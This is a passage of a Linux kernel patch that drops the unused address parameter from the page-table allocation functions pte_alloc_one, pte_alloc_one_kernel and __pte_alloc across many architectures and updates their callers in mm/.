-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-		unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
@@ -132,20 +131,6 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 	return ptepage;
 }
 
-static inline pte_t *pte_alloc_one_fast(struct mm_struct *mm,
-		unsigned long address)
-{
-	unsigned long *ret;
-
-	ret = pte_quicklist;
-	if (ret != NULL) {
-		pte_quicklist = (unsigned long *)(*ret);
-		ret[0] = 0;
-		pgtable_cache_size--;
-	}
-	return (pte_t *)ret;
-}
-
 static inline void pte_free_fast(pte_t *pte)
 {
 	*(unsigned long **)pte = pte_quicklist;
diff --git a/arch/microblaze/mm/pgtable.c b/arch/microblaze/mm/pgtable.c
index 7f525962cdfa..c2ce1e42b888 100644
--- a/arch/microblaze/mm/pgtable.c
+++ b/arch/microblaze/mm/pgtable.c
@@ -235,8 +235,7 @@ unsigned long iopa(unsigned long addr)
 	return pa;
 }
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-		unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 	if (mem_init_done) {
diff --git a/arch/mips/include/asm/pgalloc.h b/arch/mips/include/asm/pgalloc.h
index 39b9f311c4ef..27808d9461f4 100644
--- a/arch/mips/include/asm/pgalloc.h
+++ b/arch/mips/include/asm/pgalloc.h
@@ -50,14 +50,12 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_pages(GFP_KERNEL | __GFP_ZERO, PTE_ORDER);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/nds32/include/asm/pgalloc.h b/arch/nds32/include/asm/pgalloc.h
index 27448869131a..3c5fee5b5759 100644
--- a/arch/nds32/include/asm/pgalloc.h
+++ b/arch/nds32/include/asm/pgalloc.h
@@ -22,8 +22,7 @@ extern void pgd_free(struct mm_struct *mm, pgd_t * pgd);
 
 #define check_pgt_cache()		do { } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -34,7 +33,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte;
 
diff --git a/arch/nios2/include/asm/pgalloc.h b/arch/nios2/include/asm/pgalloc.h
index bb47d08c8ef7..3a149ead1207 100644
--- a/arch/nios2/include/asm/pgalloc.h
+++ b/arch/nios2/include/asm/pgalloc.h
@@ -37,8 +37,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/openrisc/include/asm/pgalloc.h b/arch/openrisc/include/asm/pgalloc.h
index 8999b9226512..149c82ee4b8b 100644
--- a/arch/openrisc/include/asm/pgalloc.h
+++ b/arch/openrisc/include/asm/pgalloc.h
@@ -70,10 +70,9 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 	pte = alloc_pages(GFP_KERNEL, 0);
diff --git a/arch/openrisc/mm/ioremap.c b/arch/openrisc/mm/ioremap.c
index c9697529b3f0..270d1c9bc0d6 100644
--- a/arch/openrisc/mm/ioremap.c
+++ b/arch/openrisc/mm/ioremap.c
@@ -118,8 +118,7 @@ EXPORT_SYMBOL(iounmap);
  * the memblock infrastructure.
  */
 
-pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index cf13275f7c6d..d05c678c77c4 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -122,7 +122,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 #define pmd_pgtable(pmd) pmd_page(pmd)
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL|__GFP_ZERO);
 	if (!page)
@@ -135,7 +135,7 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
diff --git a/arch/powerpc/include/asm/book3s/32/pgalloc.h b/arch/powerpc/include/asm/book3s/32/pgalloc.h
index 82e44b1a00ae..af9e13555d95 100644
--- a/arch/powerpc/include/asm/book3s/32/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/32/pgalloc.h
@@ -82,8 +82,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/book3s/64/pgalloc.h b/arch/powerpc/include/asm/book3s/64/pgalloc.h
index 391ed2c3b697..8f1d92e99fe5 100644
--- a/arch/powerpc/include/asm/book3s/64/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/64/pgalloc.h
@@ -42,7 +42,7 @@ extern struct kmem_cache *pgtable_cache[];
 			pgtable_cache[(shift) - 1];	\
 		})
 
-extern pte_t *pte_fragment_alloc(struct mm_struct *, unsigned long, int);
+extern pte_t *pte_fragment_alloc(struct mm_struct *, int);
 extern pmd_t *pmd_fragment_alloc(struct mm_struct *, unsigned long);
 extern void pte_fragment_free(unsigned long *, int);
 extern void pmd_fragment_free(unsigned long *);
@@ -192,16 +192,14 @@ static inline pgtable_t pmd_pgtable(pmd_t pmd)
 	return (pgtable_t)pmd_page_vaddr(pmd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
-	return (pte_t *)pte_fragment_alloc(mm, address, 1);
+	return (pte_t *)pte_fragment_alloc(mm, 1);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
-	return (pgtable_t)pte_fragment_alloc(mm, address, 0);
+	return (pgtable_t)pte_fragment_alloc(mm, 0);
 }
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
diff --git a/arch/powerpc/include/asm/nohash/32/pgalloc.h b/arch/powerpc/include/asm/nohash/32/pgalloc.h
index 8825953c225b..16623f53f0d4 100644
--- a/arch/powerpc/include/asm/nohash/32/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/32/pgalloc.h
@@ -83,8 +83,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgalloc.h b/arch/powerpc/include/asm/nohash/64/pgalloc.h
index e2d62d033708..2e7e0230edf4 100644
--- a/arch/powerpc/include/asm/nohash/64/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/64/pgalloc.h
@@ -96,14 +96,12 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(GFP_KERNEL | __GFP_ZERO);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/powerpc/mm/pgtable-book3s64.c b/arch/powerpc/mm/pgtable-book3s64.c
index 9f93c9f985c5..6f9d434b0a4c 100644
--- a/arch/powerpc/mm/pgtable-book3s64.c
+++ b/arch/powerpc/mm/pgtable-book3s64.c
@@ -384,7 +384,7 @@ static pte_t *__alloc_for_ptecache(struct mm_struct *mm, int kernel)
 	return (pte_t *)ret;
 }
 
-pte_t *pte_fragment_alloc(struct mm_struct *mm, unsigned long vmaddr, int kernel)
+pte_t *pte_fragment_alloc(struct mm_struct *mm, int kernel)
 {
 	pte_t *pte;
 
diff --git a/arch/powerpc/mm/pgtable_32.c b/arch/powerpc/mm/pgtable_32.c
index bda3c6f1bd32..1d8e2d98db98 100644
--- a/arch/powerpc/mm/pgtable_32.c
+++ b/arch/powerpc/mm/pgtable_32.c
@@ -43,7 +43,7 @@ EXPORT_SYMBOL(ioremap_bot);	/* aka VMALLOC_END */
 
 extern char etext[], _stext[], _sinittext[], _einittext[];
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -57,7 +57,7 @@ __ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
diff --git a/arch/riscv/include/asm/pgalloc.h b/arch/riscv/include/asm/pgalloc.h
index a79ed5faff3a..94043cf83c90 100644
--- a/arch/riscv/include/asm/pgalloc.h
+++ b/arch/riscv/include/asm/pgalloc.h
@@ -82,15 +82,13 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 
 #endif /* __PAGETABLE_PMD_FOLDED */
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(
 		GFP_KERNEL | __GFP_RETRY_MAYFAIL | __GFP_ZERO);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/s390/include/asm/pgalloc.h b/arch/s390/include/asm/pgalloc.h
index f0f9bcf94c03..ce2ca8cbd2ec 100644
--- a/arch/s390/include/asm/pgalloc.h
+++ b/arch/s390/include/asm/pgalloc.h
@@ -139,8 +139,8 @@ static inline void pmd_populate(struct mm_struct *mm,
 /*
  * page table entry allocation/free routines.
  */
-#define pte_alloc_one_kernel(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
-#define pte_alloc_one(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
+#define pte_alloc_one_kernel(mm) ((pte_t *)page_table_alloc(mm))
+#define pte_alloc_one(mm) ((pte_t *)page_table_alloc(mm))
 
 #define pte_free_kernel(mm, pte) page_table_free(mm, (unsigned long *) pte)
 #define pte_free(mm, pte) page_table_free(mm, (unsigned long *) pte)
diff --git a/arch/sh/include/asm/pgalloc.h b/arch/sh/include/asm/pgalloc.h
index ed053a359ab7..8ad73cb31121 100644
--- a/arch/sh/include/asm/pgalloc.h
+++ b/arch/sh/include/asm/pgalloc.h
@@ -32,14 +32,12 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmd,
 /*
  * Allocate and free page tables.
  */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(QUICK_PT, GFP_KERNEL, NULL);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
diff --git a/arch/sparc/include/asm/pgalloc_32.h b/arch/sparc/include/asm/pgalloc_32.h
index 90459481c6c7..282be50a4adf 100644
--- a/arch/sparc/include/asm/pgalloc_32.h
+++ b/arch/sparc/include/asm/pgalloc_32.h
@@ -58,10 +58,9 @@ void pmd_populate(struct mm_struct *mm, pmd_t *pmdp, struct page *ptep);
 void pmd_set(pmd_t *pmdp, pte_t *ptep);
 #define pmd_populate_kernel(MM, PMD, PTE) pmd_set(PMD, PTE)
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return srmmu_get_nocache(PTE_SIZE, PTE_SIZE);
 }
diff --git a/arch/sparc/include/asm/pgalloc_64.h b/arch/sparc/include/asm/pgalloc_64.h
index 874632f34f62..48abccba4991 100644
--- a/arch/sparc/include/asm/pgalloc_64.h
+++ b/arch/sparc/include/asm/pgalloc_64.h
@@ -60,10 +60,8 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 	kmem_cache_free(pgtable_cache, pmd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address);
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address);
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 void pte_free_kernel(struct mm_struct *mm, pte_t *pte);
 void pte_free(struct mm_struct *mm, pgtable_t ptepage);
 
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index 3c8aac21f426..b4221d3727d0 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -2925,8 +2925,7 @@ void __flush_tlb_all(void)
 			     : : "r" (pstate));
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	pte_t *pte = NULL;
@@ -2937,8 +2936,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	if (!page)
diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
index a6142c5abf61..b609362e846f 100644
--- a/arch/sparc/mm/srmmu.c
+++ b/arch/sparc/mm/srmmu.c
@@ -364,12 +364,12 @@ pgd_t *get_pgd_fast(void)
  * Alignments up to the page size are the same for physical and virtual
  * addresses of the nocache area.
  */
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	unsigned long pte;
 	struct page *page;
 
-	if ((pte = (unsigned long)pte_alloc_one_kernel(mm, address)) == 0)
+	if ((pte = (unsigned long)pte_alloc_one_kernel(mm)) == 0)
 		return NULL;
 	page = pfn_to_page(__nocache_pa(pte) >> PAGE_SHIFT);
 	if (!pgtable_page_ctor(page)) {
diff --git a/arch/um/include/asm/pgalloc.h b/arch/um/include/asm/pgalloc.h
index bf90b2aa2002..99eb5682792a 100644
--- a/arch/um/include/asm/pgalloc.h
+++ b/arch/um/include/asm/pgalloc.h
@@ -25,8 +25,8 @@
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 1067469ba2ea..e494c7719b24 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -199,7 +199,7 @@ void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -207,7 +207,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/unicore32/include/asm/pgalloc.h b/arch/unicore32/include/asm/pgalloc.h
index f0fdb268f8f2..7cceabecf4e3 100644
--- a/arch/unicore32/include/asm/pgalloc.h
+++ b/arch/unicore32/include/asm/pgalloc.h
@@ -34,7 +34,7 @@ extern void free_pgd_slow(struct mm_struct *mm, pgd_t *pgd);
  * Allocate one PTE table.
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -46,7 +46,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/x86/include/asm/pgalloc.h b/arch/x86/include/asm/pgalloc.h
index ec7f43327033..f6861b700f5e 100644
--- a/arch/x86/include/asm/pgalloc.h
+++ b/arch/x86/include/asm/pgalloc.h
@@ -47,8 +47,8 @@ extern gfp_t __userpte_alloc_gfp;
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 /* Should really implement gc for free page table pages. This could be
    done with a reference count in struct page. */
diff --git a/arch/x86/mm/pgtable.c b/arch/x86/mm/pgtable.c
index 59274e2c1ac4..27f63a74b45d 100644
--- a/arch/x86/mm/pgtable.c
+++ b/arch/x86/mm/pgtable.c
@@ -23,12 +23,12 @@ EXPORT_SYMBOL(physical_mask);
 
 gfp_t __userpte_alloc_gfp = PGALLOC_GFP | PGALLOC_USER_GFP;
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP & ~__GFP_ACCOUNT);
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/xtensa/include/asm/pgalloc.h b/arch/xtensa/include/asm/pgalloc.h
index 1065bc8bcae5..b3b388ff2f01 100644
--- a/arch/xtensa/include/asm/pgalloc.h
+++ b/arch/xtensa/include/asm/pgalloc.h
@@ -38,8 +38,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *ptep;
 	int i;
@@ -52,13 +51,12 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return ptep;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pte_t *pte;
 	struct page *page;
 
-	pte = pte_alloc_one_kernel(mm, addr);
+	pte = pte_alloc_one_kernel(mm);
 	if (!pte)
 		return NULL;
 	page = virt_to_page(pte);
diff --git a/include/linux/mm.h b/include/linux/mm.h
index fcf9cc9d535f..8151c00df8c1 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1809,8 +1809,8 @@ static inline void mm_inc_nr_ptes(struct mm_struct *mm) {}
 static inline void mm_dec_nr_ptes(struct mm_struct *mm) {}
 #endif
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address);
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address);
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd);
+int __pte_alloc_kernel(pmd_t *pmd);
 
 /*
  * The following ifdef needed to get the 4level-fixup.h header to work.
@@ -1948,18 +1948,17 @@ static inline void pgtable_page_dtor(struct page *page)
 	pte_unmap(pte);					\
 } while (0)
 
-#define pte_alloc(mm, pmd, address)			\
-	(unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd, address))
+#define pte_alloc(mm, pmd) (unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd))
 
 #define pte_alloc_map(mm, pmd, address)			\
-	(pte_alloc(mm, pmd, address) ? NULL : pte_offset_map(pmd, address))
+	(pte_alloc(mm, pmd) ? NULL : pte_offset_map(pmd, address))
 
 #define pte_alloc_map_lock(mm, pmd, address, ptlp)	\
-	(pte_alloc(mm, pmd, address) ?			\
+	(pte_alloc(mm, pmd) ?			\
 		 NULL : pte_offset_map_lock(mm, pmd, address, ptlp))
 
 #define pte_alloc_kernel(pmd, address)			\
-	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd, address))? \
+	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd))? \
 		NULL: pte_offset_kernel(pmd, address))
 
 #if USE_SPLIT_PMD_PTLOCKS
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 4e4ef8fa479d..2315fb7ecac3 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -558,7 +558,7 @@ static vm_fault_t __do_huge_pmd_anonymous_page(struct vm_fault *vmf,
 		return VM_FAULT_FALLBACK;
 	}
 
-	pgtable = pte_alloc_one(vma->vm_mm, haddr);
+	pgtable = pte_alloc_one(vma->vm_mm);
 	if (unlikely(!pgtable)) {
 		ret = VM_FAULT_OOM;
 		goto release;
@@ -683,7 +683,7 @@ vm_fault_t do_huge_pmd_anonymous_page(struct vm_fault *vmf)
 		struct page *zero_page;
 		bool set;
 		vm_fault_t ret;
-		pgtable = pte_alloc_one(vma->vm_mm, haddr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (unlikely(!pgtable))
 			return VM_FAULT_OOM;
 		zero_page = mm_get_huge_zero_page(vma->vm_mm);
@@ -772,7 +772,7 @@ vm_fault_t vmf_insert_pfn_pmd(struct vm_area_struct *vma, unsigned long addr,
 		return VM_FAULT_SIGBUS;
 
 	if (arch_needs_pgtable_deposit()) {
-		pgtable = pte_alloc_one(vma->vm_mm, addr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (!pgtable)
 			return VM_FAULT_OOM;
 	}
@@ -908,7 +908,7 @@ int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	if (!vma_is_anonymous(vma))
 		return 0;
 
-	pgtable = pte_alloc_one(dst_mm, addr);
+	pgtable = pte_alloc_one(dst_mm);
 	if (unlikely(!pgtable))
 		goto out;
 
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index c7550eb65922..5edb8b29a827 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -120,7 +120,7 @@ static int __ref zero_pmd_populate(pud_t *pud, unsigned long addr,
 			pte_t *p;
 
 			if (slab_is_available())
-				p = pte_alloc_one_kernel(&init_mm, addr);
+				p = pte_alloc_one_kernel(&init_mm);
 			else
 				p = early_alloc(PAGE_SIZE, NUMA_NO_NODE);
 			if (!p)
diff --git a/mm/memory.c b/mm/memory.c
index 4ad2d293ddc2..a9f2eb5bd1d9 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -400,10 +400,10 @@ void free_pgtables(struct mmu_gather *tlb, struct vm_area_struct *vma,
 	}
 }
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd)
 {
 	spinlock_t *ptl;
-	pgtable_t new = pte_alloc_one(mm, address);
+	pgtable_t new = pte_alloc_one(mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -434,9 +434,9 @@ int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
 	return 0;
 }
 
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address)
+int __pte_alloc_kernel(pmd_t *pmd)
 {
-	pte_t *new = pte_alloc_one_kernel(&init_mm, address);
+	pte_t *new = pte_alloc_one_kernel(&init_mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -2895,7 +2895,7 @@ static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))
+	if (pte_alloc(vma->vm_mm, vmf->pmd))
 		return VM_FAULT_OOM;
 
 	/* See the comment in pte_alloc_one_map() */
@@ -3042,7 +3042,7 @@ static vm_fault_t pte_alloc_one_map(struct vm_fault *vmf)
 		pmd_populate(vma->vm_mm, vmf->pmd, vmf->prealloc_pte);
 		spin_unlock(vmf->ptl);
 		vmf->prealloc_pte = NULL;
-	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))) {
+	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd))) {
 		return VM_FAULT_OOM;
 	}
 map_pte:
@@ -3121,7 +3121,7 @@ static vm_fault_t do_set_pmd(struct vm_fault *vmf, struct page *page)
 	 * related to pte entry. Use the preallocated table for that.
 	 */
 	if (arch_needs_pgtable_deposit() && !vmf->prealloc_pte) {
-		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm, vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			return VM_FAULT_OOM;
 		smp_wmb(); /* See comment in __pte_alloc() */
@@ -3359,8 +3359,7 @@ static vm_fault_t do_fault_around(struct vm_fault *vmf)
 			start_pgoff + nr_pages - 1);
 
 	if (pmd_none(*vmf->pmd)) {
-		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm,
-						  vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			goto out;
 		smp_wmb(); /* See comment in __pte_alloc() */
diff --git a/mm/migrate.c b/mm/migrate.c
index f7e4bfdc13b7..1777a9327dbf 100644
--- a/mm/migrate.c
+++ b/mm/migrate.c
@@ -2599,7 +2599,7 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate,
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(mm, pmdp, addr))
+	if (pte_alloc(mm, pmdp))
 		goto abort;
 
 	/* See the comment in pte_alloc_one_map() */
diff --git a/mm/mremap.c b/mm/mremap.c
index 7f9f9180e401..7c9ab747f19d 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -238,7 +238,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			if (pmd_trans_unstable(old_pmd))
 				continue;
 		}
-		if (pte_alloc(new_vma->vm_mm, new_pmd, new_addr))
